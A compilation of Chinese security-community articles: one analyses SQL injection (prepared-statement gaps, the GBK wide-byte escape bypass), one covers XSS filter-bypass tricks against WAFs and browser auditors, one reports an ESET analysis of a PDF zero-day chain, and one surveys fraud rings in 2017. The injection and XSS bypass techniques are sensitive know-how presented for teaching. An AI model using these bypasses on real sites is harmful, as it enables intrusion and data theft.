* `simple_command_send_request()`封包成`MYSQLND_PACKET_COMMAND`对象
* `MYSQLND_NET.send_ex()`调用`network_write_ex()`发包
由此可知，对于普通的SQL查询语句，该阶段几乎不会进行过多额外的处理。
#### **关于Escape**
大家都知道，PHP在mysqli扩展中实现了`mysqli_real_escape_string()`方法
_（mysqli_escape_string()为其别名）_ ，可以对部分特殊字符进行转义，但需要开发者主动调用。
mysqlnd驱动中提供了两种特殊字符处理方式：
1. `mysqlnd_cset_escape_slashes()`，默认调用使用`\`字符对部分特殊字符进行转义
switch (*escapestr) {
case 0:
esc = '0';
break;
case '\n':
esc = 'n';
break;
case '\r':
esc = 'r';
break;
case '\\':
case '\'':
case '"':
esc = *escapestr;
break;
case '\032':
esc = 'Z';
break;
}
// IGNORE ...
if (esc) {
// IGNORE ...
*newstr++ = '\\';
*newstr++ = esc;
}
2. `mysqlnd_cset_escape_quotes()`，当服务器响应状态中包含`SERVER_STATUS_NO_BACKSLASH_ESCAPES` _（0x200）_ 时被调用
* 将`'`字符转义为`''`，以消除字符串中单引号对SQL语句结构和语义的影响
因此，当我们看到在Connector/J里出现Escape处理相关内容时，也天真的以为和PHP中情况类似，可以用来过滤上述特殊字符，一定程度上防御SQL注入。
但现实根本不是这样，Connector/J中的`EscapeProcessor`是JDBC的Escape语法实现。简单的举个例子自己体会：
SELECT * FROM table_A WHERE field_A LIKE '%=%' {ESCAPE '='}
上述SQL语句的查询条件被解释为以`%`字符结尾的字符串，即第二个通配符`%`被转义为普通字符，转义字符为`=`。
除此之外，还有调用存储过程、调用数学函数、时间格式化、外联等语法定义。
以下是关于JDBC Escape Syntax的文档说明：
* [Oracle Database JDBC Developer’s Guide](https://docs.oracle.com/cd/E11882_01/java.112/e16548/apxref.htm#JJDBC28913)
* [Apache JDBC Reference](http://db.apache.org/derby/docs/10.1/ref/rrefjdbc1020262.html)
而Connector/J在其基础上也扩展了少量属于自己的Escape关键字，具体参考[EscapeProcessor](https://github.com/mysql/mysql-connector-j/blob/release/5.1/src/com/mysql/jdbc/EscapeProcessor.java)的代码实现。
更有趣的是SQL语法中也有ESCAPE关键字，主要用于在模糊查询中指定转义字符，和JDBC Escape语法中的`{ESCAPE }`有些类似：
SELECT * FROM table_A WHERE field_A LIKE '%=%' ESCAPE '='
好像有点意思。
#### **客户端应用实现**
相比前几个开发过程中可控性较小的阶段，在主观控制更强的这个阶段可以说是五花八门，无奇不有，乱七八糟。
列举下目前常见的数据库操作相关的应用层实现方式：
1. 字符串拼接
* 直接拼接
* 过滤 _（转义、移除敏感字符等）_ 后拼接
2. 输入限制
* 黑名单 _（关键字、简单语义等）_ 识别或阻断
* 基于业务需求的白名单或规则 _（字符、长度等）_ 限制
3. 预处理
简单的说，这里就是我们看到的SQL注入点，而要负责保证数据库操作安全的，却是几个阶段中能力相对较弱或是对数据库协议和实现相对更不了解的我们应用层开发人员。
#### **关于预处理**
预处理应该是大部分应用层开发人员对于数据库操作安全的救命稻草 _（当然，它本不是为了防止SQL注入而生的）_
，我们看看Connector/J驱动的预处理是如何做的：
1. 通过`ConnectionImpl.prepareStatement()`返回`PreparedStatement`实例对象
* 同样会处理SQL语句中的Escape字符
* 判断`useServerPreparedStmts`属性的值
* 默认为`false`，调用`clientPrepareStatement()`获取`PreparedStatement`实例，接下来的操作实际上都是由驱动层模拟预处理协议实现的，即伪预处理
* 若为`true` _（可以通过DriverManager的重载方法getConnection(String url, java.util.Properties info)设置）_ ，会经过一系列判断 _（如MySQL版本、SQL语句类型、limit部分检查等）_ 获取`ServerPreparedStatement`实例，而实例化完成前将调用`serverPrepare()`方法向MySQL服务器发送`PREPARE`指令数据包，即真预处理
2. `PreparedStatement.setXXX()`为各占位符绑定数据（以`setString()`为例）
* 伪预处理依赖Java语言的强类型处理如数字、时间等类型数据绑定，而对字符串类型中的特殊字符前加反斜杠`\`进行转义 _（类似上文mysqlnd的escape slashes相关处理方式）_ ，并在字符串外层包裹单引号保护，再进行“数据绑定”
* 真预处理简单的进行了数据绑定
3. `PreparedStatement.executeQuery()`执行查询操作
* 伪预处理中准备执行的SQL语句实际上是已经经过上述对参数值进行转义操作之后，拼接而成完整语句，调用`ConnectionImpl.execSQL()`发送`QUERY`指令数据包
* 真预处理转由`ServerPreparedStatement.serverExecute()`发送`EXECUTE`指令数据包
在上述第2点中提到Connector/J在伪预处理时部分依赖了Java语言的强类型特点，那么对于弱类型的PHP语言，mysqlnd并没有模拟实现客户端的伪预处理，而是直接走的预处理协议。
为了严谨，笔者继续阅读了[MySQL Connector/NET](https://github.com/mysql/mysql-connector-net/)的预处理实现部分源码。驱动在调用`MySqlCommand.Prepare()`过程中，会通过`NativeDriver.PrepareStatement()`向MySQL服务器发送`PREPARE`指令数据包，即也是真正的预处理方式。
好吧，JDBC这朵奇葩。
MySQL服务接收到`PREPARE`指令数据包会调用`mysqld_stmt_prepare()`进行缓存、SQL语句解析 _（包括识别和存储?占位符）_
等一系列操作。收到`EXECUTE`指令数据包后，`mysqld_stmt_execute()`会根据`stmt_id`在缓存集合中拿到对应的statement对象，通过`set_parameters()`中的`setup_conversion_functions()`设置每个参数的转换函数，`insert_params()`遍历参数调用对应的转换函数进行类型转换和赋值，过程中字符串类型参数中的特殊字符会被转义。
根据以上对预处理过程的了解，我们尝试对一种比较流行的说法：预处理可以预防绝大部分SQL注入漏洞的产生，作个简单的解释。
在进入SQL编译执行阶段前，数字、时间等类型数据经过强制的类型转换、字符串经过特殊字符转义和单引号包裹保护，可以保证输入的大多数数据都被净化成安全的“正常数据”。
那么这绝大部分以外的情况 _（这里说的情况，也是基于常见实际的应用场景，而非一些特殊的使用场景）_ ，相信经验丰富的老司机们肯定知道：`ORDER
BY`和`GROUP
BY`，也可以参考一下[SQLMap](https://github.com/sqlmapproject/sqlmap/)项目，其`error_based`、`boolean_blind`、`time_blind`的payload中，都包含了对这两种情况的测试用例。
还是一个老问题，为什么？
熟悉SQL语法的同学应该能够清楚，在`ORDER BY`和类似条件关键字用法中，之后只能接列名或列对应索引号：
SELECT * FROM table_A ORDER BY field_A
SELECT * FROM table_A ORDER BY `field_A`
SELECT * FROM table_A ORDER BY 1
在这种句式下，我们很容易发现一些关于预处理的小问题：
* 如果使用数字类型的列索引号，是可以被预处理保护的，但实际应用场景很少
* 如果参数被识别为字符串类型，经过预处理后会被单引号包裹导致`ORDER BY`条件失效
因此，出现这类需求时，开发人员大多会选择字符串拼接来实现，预处理的保护也就失效了。如果开发过程中没有意识到这个问题而忽略了数据的合法性校验，导致列名或升降序关键字
_（ASC和DESC）_ 等可控，就很有可能出现SQL注入等安全问题。
#### **关于Bypass**
关于SQL注入的Bypass技巧，互联网上一搜一大把，我们做个简单的分类：
1. 简单规避
* 关键字限制绕过
2. SQL解析特性
* 空格限制绕过
3. SQL语法特性
* 字符限制绕过
* 语法限制绕过
4. 编码
* 引号限制绕过
* 防御规避
在PHP+MySQL环境的代码审计项目中，宽字节注入 _（我们把它归在了编码类）_ 是一个比较有意思的场景，很多同学对它的原理也比较含糊，所以我们简单聊聊。
以常见的GBK字符集为例：
* 单字节区间为`00`到`7f`时，和ASCII一致 _（为了与ASCII兼容）_
* 高位字节区间为`81`到`fe`，低位字节区间为`40`到`fe`时，可以双字节表示汉字和图形符号
在PHP+MySQL环境中，当应用层调用mysqln的`set_charset()`时，会向服务器发送`SET NAMES
[CHARSET]`指令，该指令相当于三条指令：
SET character_set_client = [CHARSET];
SET character_set_results = [CHARSET];
SET character_set_connection = [CHARSET];
指定了客户端发送过来的数据的字符集。当SQL语句在服务器被解析时，会以该字符集进行转码。
因此，可以在`'`等会被转义的字符前增加如`%df`等字符，当`df`遇到`5c` _（\转义字符）_ 时，会被当成一个中文字符处理，导致转义的保护被绕过：
* `mysql_escape_string()`受影响
* `mysqli_escape_string()`会对`df`也进行转义，即变为`5c df 5c 27`，无影响
### 面向对象的数据库操作
结合上面的所有内容我们可以发现，SQL的问题归根结底是因为它本身是一串“plain
text”，太容易被改变，而又没有任何一个阶段可以校验它结构的合法性，或是明确的将它的执行结果和使用者的预期数据对应绑定起来。
对于结构化或是数据绑定这种概念，目前市面上也有很多在设计中融入了面向对象思想的数据库操作层，如Hibernate的QBC。
我们先在这里留一个坑，不做深入讨论，在分析完NoSQL注入后，再对比展开。
### 不是结束的结语
本文说了这么多和SQL注入并没有半毛钱关系的内容，希望能对大家深入理解SQL注入底层原理有一丢丢的帮助。
下篇文章将选择目前比较流行的非关系型数据库MongoDB，同样会从这五个阶段切入，与SQL对比，为大家继续简单分析NoSQL注入相关内容。
### 参考
1. <https://github.com/mysql/mysql-server/>
2. <https://github.com/mysql/mysql-proxy/>
3. <https://github.com/mysql/mysql-connector-j/>
4. <https://github.com/mysql/mysql-connector-net/>
5. <https://github.com/php/php-src/>
6. <https://docs.oracle.com/cd/E11882_01/java.112/e16548/apxref.htm#JJDBC28913>
7. <http://db.apache.org/derby/docs/10.1/ref/rrefjdbc1020262.html>
8. <https://github.com/sqlmapproject/sqlmap/> | 社区文章 |
# 【技术分享】构建XSS Payload是一门艺术，用最简单的方法绕过XSS的缓解方案
|
##### 译文声明
本文是翻译文章，文章来源：brutelogic
原文地址：<http://brutelogic.com.br/blog/the-easiest-way-to-bypass-xss-mitigations/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **WisFree**](http://bobao.360.cn/member/contribute?uid=2606963099)
**预估稿费：200RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn** ****](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**写在前面的话**
如果你想要绕过测试人员/攻击者与目标应用之间的安全保护机制，那么最简单、最可靠的方法就是利用目标应用的敏感字符过滤功能。没错，这听起来似乎有些“以彼之道，还施彼身”的味道。
**安全客小百科：XSS（跨站脚本攻击）**
XSS 攻击是代码注入的一种，它允许攻击者将代码写到 Web 页面上，Web
应用会错误解析页面内容后执行网页中的脚本内容，导致其他用户浏览此网页时触发页面上的脚本内容，进而使用户浏览器做出脚本内容相应的行为，完成对用户的攻击。由于
Web 页面在用户提交文本信息时没有做合法性检测或依赖客户端的合法性检测，导致脚本文本顺利上传至服务器，而在 HTML 解析时，Web
应用没有对脚本文本做正确编码，致使用户提交的攻击脚本出现在客户端浏览器中，使用户加载并执行攻击者编写在 Web
页面中的脚本程序，这些脚本语言通常有：JavaScript、Java、VBScript、ActiveX、Flash 或者是普通的
HTML。攻击成功后，攻击者将可获取到用户的私密信息。
**攻击思路**
可能是出于对安全因素或其他方面的考虑，很多开发人员都会在自己编写的代码中添加某种字符过滤功能。但是他们往往都没有意识到，攻击者很有可能利用这种功能来欺骗目标设备并实施攻击。想必各位同学都知道，Web应用防火墙（WAF）以及浏览器的防XSS过滤器是目前最常用的两种威胁缓解方案。那么在这篇文章中，我们将会告诉大家如何利用这项技术影响WAF，并绕过浏览器的防XSS过滤器。
开发人员可以通过使用编程语言自带的函数和自定义函数来过滤/替换掉他们认为可能会具有危险性（或不需要的）的字符或字符串。那么接下来让我们首先看一看，当一个应用程序过滤掉用户输入数据中的空格字符时，程序会发生些什么。
**技术分析**
为了让大家更好地理解，我们专门制作了一个PHP网页[[点我访问]](http://brutelogic.com.br/bypass/bypass-waf.php?p=brute&q=logic)。点开这个网页之后，大家可以看到该站点的URL地址中有两个参数，即“p”和“q”。
第一个参数“p”只是一个简单的“echo
$_GET[“p”];”，由于我并没有将这个页面添加进我Web应用防火墙的白名单列表中，因此我们并不能使用普通场景下的漏洞利用方法去利用这个漏洞，具体情况如下图所示。实际上，[Sucuri](https://sucuri.net/)在这里所采用的安全解决方案（[CloudProxy](https://sucuri.net/website-firewall/)）就非常棒了，它并不是通过URL中的“(1)”来检测XSS攻击的，它检测的其实是URL中的“<svg onload=”。
第二个参数“q”是用来验证我们的绕过方案是否成功的。该部分的PHP代码如下所示：
echo str_replace(“ ”, “”, $_GET[“q”]);
这行代码可以剔除掉用户输入数据中的空格字符。这看起来虽然很简单，但是却足以欺骗CloudProxy、XSS审计程序、以及谷歌Chrome浏览器的XSS缓解方案。运行结果如下图所示：
从上图中可以看到，我们在相应参数中添加了符号“+”，通常情况下Web应用程序会将这个字符解析为空格符。我们故意将字符“+”添加进了攻击向量/payload中，而就是这一个简单的字符，就能够让目标应用的安全防御机制失效。Web应用防火墙无法检测到这种类型的XSS攻击，因为“<”之后紧跟的并不是字母。而且，由于这种形式的payload与XSS攻击向量样本库中的payload有很大不同，因此XSS审计程序同样也不会将其视为XSS攻击向量。
由此可见，攻击者所发送的内容和Web应用真正响应的内容并不一定是相同的。如果攻击者输入的数据与数据库中的恶意payload匹配度很低的话，那么攻击者所输入的内容就不会被当作恶意内容处理。
**另外一种情况**
除了上面这种方法之外，我们还可以利用字符／字符串替换功能来对付这些安全保护措施。为此，我们另外制作了一个网页[[点我访问]](http://brutelogic.com.br/bypass/bypass-auditor.php?p=%23&q=hack&r=2&s=learn)。这一次，我们将要使用四个URL参数，即“p”、“q”、“r”和“s”。我们将该网页添加进了Web应用防火墙的白名单之中，因此这些参数还没有强大到能够绕过WAF：每一个请求中的“<script”字符串都会触发WAF的屏蔽功能。但是我们可以用这个方法来对付XSS审计程序。相关代码如下所示：
echo $_GET[“p”];
echo str_ireplace(“<script”, “”, $_GET[“q”]);
echo str_ireplace(“<script”,“InvalidTag”, $_GET[“r”]);
echo str_ireplace(“<script”,“<InvalidTag”, $_GET[“s”]);
正如下图所显示的那样，使用参数“p”的话，审计程序可以轻易地检测到它。
使用参数“q”的话，我们可以看到“<script”将会被过滤掉。
但是，如果换一种方法的话，我们还是可以迷惑这个审计程序的。我们可以将“<script”添加在事件处理器“onload”的“o”和“n”之间，这样就可以让网页执行我们的js代码了。
但是在参数“r”中，想要解决“<script”标签被替换的问题可就没那么容易了。与大多数情况一样，开发人员可以将参数中的恶意数据替换成无害的字符串，而此时我们之前所构造的payload也就失效了。如下图所示：
那么接下来，我们打算尝试一下，看看能不能把字符串“InvalidTag”当作一个JavaScript字符串来使用。但如果使用方法错误的话，浏览器将会抛出一个错误。错误信息如下图红色部分所示：
这是因为我们传递给事件处理器的内容只有字符串数据，而且还是包含在双引号中间的。在HTML中，这是我们给属性赋值时所用的标准方法，所以JavaScript在解析到第二个双引号的时候就会停止解析，因为代码中并没有定义“InvalidTag”。所以，我们要想办法修复这个语句中存在的问题。
事实证明，这并没有什么用。这样做的话未免有些太过于明显了，XSS审计程序可以轻而易举地检测到这个payload。但是，如果我们使用ES6的语法特性来“封装”这个JavaScript字符串的话，是否会有效果呢？
非常好，果然成功了。需要告诉大家的是，我们还有另一种方法同样可以实现类似的效果，这个方法非常有趣，但是该方法的适用范围就没有之前的方法那么广泛了（因为这个方法无法处理特殊字符）。
如上图所示。在这个方法中我们把可能会被替换的字符串当作[标签](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Statements/label)（label）来使用，这种简洁的方法同样可以让浏览器弹出对话框。
不幸的是，上述所有这些所谓的“替换技巧”都无法用在参数“s”的身上。此时，审计程序似乎是根据字符“<”来过滤输入数据的。具体情况如下图所示：
**总结**
但是，广大开发人员请注意：即便是你在所有的HTML标签中都部署了相应的策略（例如正则表达式），但这项技术仍然不能被视作为一种防XSS的解决方案。因为这样将会为攻击者开启另外一扇大门，他们将可以通过替换后的“<InvalidTag”字符串以及任何一个事件处理器来构建出新的攻击向量。 | 社区文章 |
# 0day漏洞组合拳：详细分析一款恶意PDF样本
##### 译文声明
本文是翻译文章，文章原作者 Anton Cherepanov，文章来源：https://www.welivesecurity.com
原文地址：<https://www.welivesecurity.com/2018/05/15/tale-two-zero-days/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
2018年3月末，ESET研究人员发现了一款非常有趣的恶意PDF样本。经过仔细研究后，我们发现该样本利用了之前未知的两个漏洞：Adobe
Reader中的一个远程命令执行漏洞以及Microsoft Windows中的一个权限提升漏洞。
这两个漏洞组合起来威力巨大，攻击者可以通过这种方式在存在漏洞的目标上以尽可能高的权限来运行任意代码，并且整个过程很少需要用户交互。APT组织通常会使用这种组合拳来发起攻击，比如去年的[Sednit](https://www.welivesecurity.com/2017/05/09/sednit-adds-two-zero-day-exploits-using-trumps-attack-syria-decoy/)攻击活动就是非常好的一个例子。
在发现这款PDF样本后，ESET第一时间联系了微软安全响应中心（MSRC）、Windows Defender ATP研究团队以及Adobe
Product安全事件响应团队，并与这些单位一起协作，直至漏洞被成功修复。
Adobe以及微软也提供了相应补丁及安全公告，分别如下：
* [APSB18-09](https://helpx.adobe.com/security/products/acrobat/apsb18-09.html)
* [CVE-2018-8120](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-8120)
受影响的相关产品版本信息如下：
Acrobat DC (2018.011.20038及更早版本)
Acrobat Reader DC (2018.011.20038及更早版本)
Acrobat 2017 (011.30079及更早版本)
Acrobat Reader DC 2017 (2017.011.30079及更早版本)
Acrobat DC (Classic 2015) (2015.006.30417及更早版本)
Acrobat Reader DC (Classic 2015) (2015.006.30417及更早版本)
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for Itanium-Based Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
本文介绍了这款恶意样本以及所利用漏洞的技术细节。
## 二、简介
PDF（Portable Document
Format）是一种电子文档文件格式，与其他常见文档格式一样，攻击者可以利用该类型文件将恶意软件传播至受害者主机。为了执行恶意代码，攻击者需要寻找并利用PDF阅读器软件中的漏洞。现在有多款PDF阅读器，其中最常用的就是Adobe
Reader。
Adobe Reader软件中有一个安全功能：沙箱（sandbox），也称为保护模式（Protected
Mode）。Adobe在官方博客上分四部分（[Part 1](http://blogs.adobe.com/security/2010/10/inside-adobe-reader-protected-mode-part-1-design.html)、[Part
2](http://blogs.adobe.com/security/2010/10/inside-adobe-reader-protected-mode-part-2-the-sandbox-process.html)、[Part
3](http://blogs.adobe.com/security/2010/11/inside-adobe-reader-protected-mode-part-3-broker-process-policies-and-inter-process-communication.html)、[Part
4](http://blogs.adobe.com/security/2010/11/inside-adobe-reader-protected-mode-part-4-the-challenge-of-sandboxing.html)）详细介绍了沙箱的具体实现。沙箱使漏洞利用过程更加困难：即使攻击者可以执行代码，还是必须绕过沙箱的保护机制才能突破运行Adobe
Reader的计算机。通常情况下，攻击者需要借助操作系统本身的漏洞来绕过沙箱保护机制。
当然攻击者可以同时找到Adobe Reader软件以及目标操作系统中的漏洞并编写利用程序，不过这种情况非常罕见。
## 三、CVE-2018-4990：Adobe Reader的RCE漏洞
恶意PDF样本中嵌入了一段JavaScript代码，用来控制整个漏洞利用过程。一旦PDF文件被打开，JavaScript代码就会被执行。
在漏洞利用开头阶段，JavaScript代码开始操控`Button1`对象，该对象包含一个精心构造的JPEG2000图像，该图像会触发Adobe
Reader中的双重释放（double-free）漏洞。
图1. 操控`Button1`对象的JavaScript代码
JavaScript代码中用到了堆喷射（heap-spray）技术以破坏内部数据结构。在这些操作都完成后，攻击者就实现了他们的主要目标：从JavaScript代码中实现内存的读取及写入。
图2. 用来读取及写入内存JavaScript代码
利用这两种方法，攻击者成功定位`EScript.api`插件的内存地址，而该插件正是Adobe JavaScript的引擎。利用该模块的汇编指令（ROP
gadgets），恶意JavaScript成功构造了一条ROP链，可以执行本地shellcode。
图3. 恶意JavaScript成功构造ROP链
最后一步，shellcode会初始化PDF中内嵌的一个PE文件，将执行权递交给该文件。
## 四、CVE-2018-8120：Windows权限提升漏洞
成功利用Adobe Reader漏洞后，攻击者必须打破沙箱保护机制，而这正是我们即将讨论的第二个利用代码的目的所在。
这个未知漏洞的源头在于`win32k`
Windows内核组件中的`NtUserSetImeInfoEx`函数。更具体一些，就是`NtUserSetImeInfoEx`的`SetImeInfoEx`子例程没有验证数据指针的有效性，允许某个NULL指针被解除引用（dereference）。
图4. 反汇编后的`SetImeInfoEx`例程代码
如图4所示，`SetImeInfoEx`函数的第一个参数为指向经过初始化的`WINDOWSTATION`对象的指针。如果攻击者创建了一个新的window
station对象，并将其分配给用户模式下的当前进程，那么`spklList`就会等于0。因此，映射NULL页面并将指针设置为偏移量`0x2C`后，攻击者就可以利用这个漏洞写入内核空间中的任一地址。需要注意的是，从Windows
8开始，用户进程不能再映射NULL页面。
既然攻击者具备任意写入权限，他们就可以使用各种方法实施攻击，不过在我们分析的这个例子中，攻击者选择使用[Ivanlef0u](http://www.ivanlef0u.tuxfamily.org/?p=86)以及[Mateusz
“j00ru” Jurczyk和Gynvael
Coldwin](http://j00ru.vexillium.org/?p=290)介绍的一种技术。攻击者重写了全局描述符表（GDT，Global
Descriptor Table）来创建Ring 0的一个[call
gate](https://en.wikipedia.org/wiki/Call_gate_\(Intel))（调用门）。为了完成这个任务，攻击者使用SGDT汇编指令获取了原始的GDT信息，构造自己的表然后使用前面提到的漏洞重写了原始的表。
随后，漏洞利用程序使用`CALL FAR`指令执行了跨权限级别的调用。
图5. 反汇编后的CALL FAR指令
一旦代码在内核模式执行，漏洞利用程序就会使用system token（令牌）替换掉当前进程的token。
## 五、总结
当PDF样本提交到公共恶意样本库时，ESET研究人员就发现了这款样本。彼时样本并不包含最终的攻击载荷，这表明当时样本很有可能处于早期研发阶段。虽然当时样本并不包含真正的恶意载荷，仍有可能处于早期研发阶段，但这也告诉我们样本的作者在漏洞发现及漏洞利用方面具备较高的水平。
## 六、IoC
ESET检测标识：
JS/Exploit.Pdfka.QNV trojan
Win32/Exploit.CVE-2018-8120.A trojan
样本SHA-1哈希：
C82CFEAD292EECA601D3CF82C8C5340CB579D1C6
0D3F335CCCA4575593054446F5F219EBA6CD93FE | 社区文章 |
# 威胁猎人：2017年度中国互联网黑产报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 声明
本文中所有数据均来自于威胁猎人威胁情报中心于2017年捕获和收集的数据，猎人君将以最客观的角度进行数据呈现，数据与真实情况可能存在误差。任何机构和个人不得在未经威胁猎人授权的情况下转载本文或使用本文中的数据。
## 概述
2017年，纵观全球网络安全事件，从黑客组织Shadow
Brokers泄露NSA的漏洞利用工具EternalBlue，到WannaCry勒索软件席卷全球，从国内58同城简历数据泄露，到国外信用机构Equifax被黑客入侵，黑灰产业蓬勃发展。
只有事件爆发后才能察觉问题，这使得企业和用户的处境十分被动。企业对于黑产的行为逻辑、行动方式、利益和目的等都十分陌生。威胁猎人将根据平台第一线的攻击数据和深入访问调查的黑灰产现状，为大家揭开黑灰产的面纱。
## 一、黑灰产事件举例分析
### 1、东鹏特饮薅羊毛事件
营销活动大家都不陌生，通过奖励机制吸引用户。不过同时也会吸引来一群叫做“羊毛党”的人，他们依靠注册大量账号获取优惠券、争抢红包、奖品，再通过转卖等方式变现。大促、补贴、营销活动都是他们眼中一次次“捞钱”的机会，被叫做线报。
缺乏业务安全意识、补贴又丰厚的活动是最容易被薅的。东鹏特饮是广东一家饮料公司，传统促销活动是瓶盖抽奖，随着互联网的普及，决定尝试新的方式——扫二维码领红包，想借力互联网省去繁琐的流转，顺便收集顾客信息，不料羊毛党却给了他们当头一棒。
随着活动的升温，迅速出现了大量贩卖东鹏特饮CDK（码子）的人。所谓码子就是将活动二维码转换成的链接。购买码子后用微信点击便可以领取红包。渠道商和羊毛党手中的微信账号有限，但码却很多，他们以略低于最低额度红包的价格售卖，购买者也是稳赚不赔。
而购买CDK的是普通用户吗，只能说比例太少，普通用户哪有渠道知道CDK的存在，大多是手中拥有很多微信账户的其他灰产从业人。他们平时的业务是用微信号加大量好友，再通过诈骗、微商等形式变现。东鹏特饮CDK只是顺便的行为之一罢了。
总之在利益的促使下，迅速有人与废品回收站核心节点合作，低价大量收购瓶盖，提取二维码信息，市场上称为“废品码”，与之对应的是“必中码”，是打通关系后从生产瓶盖厂商、内部人员等处购买的，将二维码一键生成链接，转手卖给渠道商，渠道商再分发给各级下线，一套流程下来，层层都有利润，做活动的企业就成了冤大头。最终结果就是东鹏特饮发现实际兑换的奖金金额远远高于预期，而收获的只是营销效果为0的“僵尸用户”。
不只是东鹏特饮，这类码子在市场上非常之多，蒙牛优益C、蒙牛冰淇淋、百事可乐、红牛、七喜、小茗、京东二维码等等，数不胜数。当活动发展到一定规模，下游还会有人以“收学费带赚钱”的形式大肆传播，整个过程犹如蝗虫过境，吃光企业的活动经费。
羊毛党的基本行动方式就是以量取胜，用大量账号暴力争抢活动补贴、奖品，如新用户折扣券，然后转手低价卖出。事实上他们只是互联网黑色产业链的变现末端之一，有些直接称其为搬砖人，因其技术要求低，纯粹是体力活。
他们的账号来源、行动模式都值得我们注意。比如瓜分新用户礼券的注册手机号从何而来？答案是手机黑卡。威胁猎人收集维护了海量数据的黑卡库，在下文产业链分析中会做出详细介绍。除去手机号，羊毛党作恶需要通过平台的IP、设备等检测，这些在黑产中都有着平台化、链条化的产业，羊毛党仅仅是它们的下游之一。详细产业链分析请参考上游资源提供者模块。
### 2、苹果36
同样遭遇薅羊毛的还有苹果。用户在iOS上消费后，苹果公司会按照比例与app服务提供方进行分账，以季度结算。结算时，大量商户发现苹果的分成和实际销售金额相差甚远。在查看之下，发现了真实原因：被薅。
一些账户进行了6元和30元的小额消费后立即消失了，存在批量痕迹。原来苹果为了提升用户体验，设置了40元以下小额充值可以不验证，先派发商品的策略。对黑产来说，此举意味着每个小号36元的利润，立刻展开了行动。
他们会首先通过脚本批量注册大量邮箱账号。国外一些邮箱注册不需要提供手机号，这一步操作几乎是“无成本”的。完成后，会利用软件，批量生成Apple
ID，再批量激活。大部分厂商会在IP短时间注册量上进行判断，对黑产来说这一步的成本就是更换IP的成本。对此威胁猎人会在下述产业链部分详细阐述黑产逃过IP检测的方法。
消费需要绑定银行卡，对于大量的银行卡需求，黑产的解决方案是家庭共享和注册虚拟银行卡。设置家庭共享后，每个账号可以有8个附属账号共享同一张银行卡，而这张银行卡是一张虚拟卡，当黑产持有一张银行卡后，可以线上向开卡行申请虚拟银行卡，卡号会和原卡不同，但都是属于同一个账户。
当苹果发现盗刷行为会对该账号封号，当多个附属账号被封后，苹果会将主账号与其绑定的银行卡列入黑名单，这时，黑产会将虚拟卡注销，重新申请，完全不影响继续使用。苹果也会对设备进行检测，这时黑产会结合改机软件，在被锁机前刷新设备指纹，轻松解决。
薅羊毛后，黑产就会利用低价优势，通过各种渠道销售虚拟商品进行变现。游戏和版权行业是受害的重灾区。
针对36技术，苹果进行了策略调整，新注册用户限制使用先派发后收款的模式。然而此举对黑产来说只是提高了一点成本，还在接受范围中。造成的影响是黑产对老号的需求大幅增加，等待着苹果的问题将是盗号、撞库、养号等等。如上述变现环节，因为充值限制，会索要用户（购买黑灰产手中虚拟商品的人）的账号和密码，这个账户就可以“回收”
投入下一轮的利用。账号相关的产业链详细阐述可参考下文账号模块。
### 3、滴滴虚假注册
按照相关规定，网约车平台对注册司机需要进行相关考核审查，如有一定的驾驶年龄、北京要求“京人京车”等。很多不符合规定的人想完成注册，就会利用一种“代注册”的黑产业务。
2017年9月，滴滴向广东省公安厅网警总队举报，发现发现几十万账户存在虚假注册、人车不符的问题。经查，发现了背后黑产大肆的牟利行为。驾龄不符、外地车不派单、车辆超龄都可以拿钱“解决”。
首先黑产信息源通过行业内鬼等，查到真实符合规定的人车信息。一级中间商从信息源购买车辆人员信息。然后加价转卖给二级中间商，二级再加价转卖给代注册操作员。代注册操作人再通过PS等方式“加工信息”，与购买者信息结合，将分别合规的信息整合为一整套，完成注册操作，收费300-500元不等。而即使被发现，滴滴也只能对司机进行封号处理。
有些操作人还会顺便薅一把滴滴的羊毛，如利用推荐机制，滴滴公司规定，每推荐成功一个司机，就能获得218元冲锋奖，和新司机前8个订单30%的流水。不难想象在各家网约车竞争期，活动不计成本，都只想着在大战中存活的时候，代注册一伙能够获得多么巨大的利润。
事实上，在滴滴快的大战时，虚假司机账户就是主要是用来刷单，结合外挂牟利的。当网约车合并，国家监管变严后，代注册团伙转而向不符合规定的人售卖服务，部分团伙还会以出售“注册教程”的方式获取额外利润，这种教学收费模式往往是在本身利益降低时会产生的，当利益巨大时，掌握方法的人只会默默赚钱。
这一系列牟利行为不只是对滴滴造成了伤害，也会对普通用户造成伤害。如滴滴外挂会通过修改定位等方式实现“挑单、抢单”。而滴滴不得不将距离最优算法，改成几公里内随机派单，而用户只能忍受明明看到身边有车，却需要在寒风中等待三公里外的一辆车。
更令我们警醒的是，我们的个人信息，竟然是如此容易可以获得的。事实上，黑产的社工库也确实在不断完善，数据量越来越多，精准度越来越高，被广泛的用在撞库、诈骗等处，让人胆寒。滴滴这样的认证较为复杂，被应用更普遍的图形验证码、身份证认证、面部识别认证都有着发展稳定的服务产业链，将在下文账户认证部分作出介绍。
### 4、Uber被黑客勒索
Uber在去年遭遇了大规模的数据泄露，包括5000万用户的姓名、邮箱、电话。和700万司机的个人信息及60万美国司机驾驶证号码。Uber称信用卡等信息数据并没有泄露。5700万数据，与雅虎、美国信用机构Enquifax泄露规模相比，本不值一提，在黑产中也不算惊天的数据。但Uber的做法引起了大家的关注——向黑客支付赎金。
当时的CSO和助理，以支付10万美金的方式试图隐瞒此事，避免Uber数据在黑市流通。事后两人遭到了开除，CEO迫辞职，Uber最终声明并没有证据表示此次事件的数据被黑客利用，并将为信息泄露的司机提供免费的信息保护监控服务。
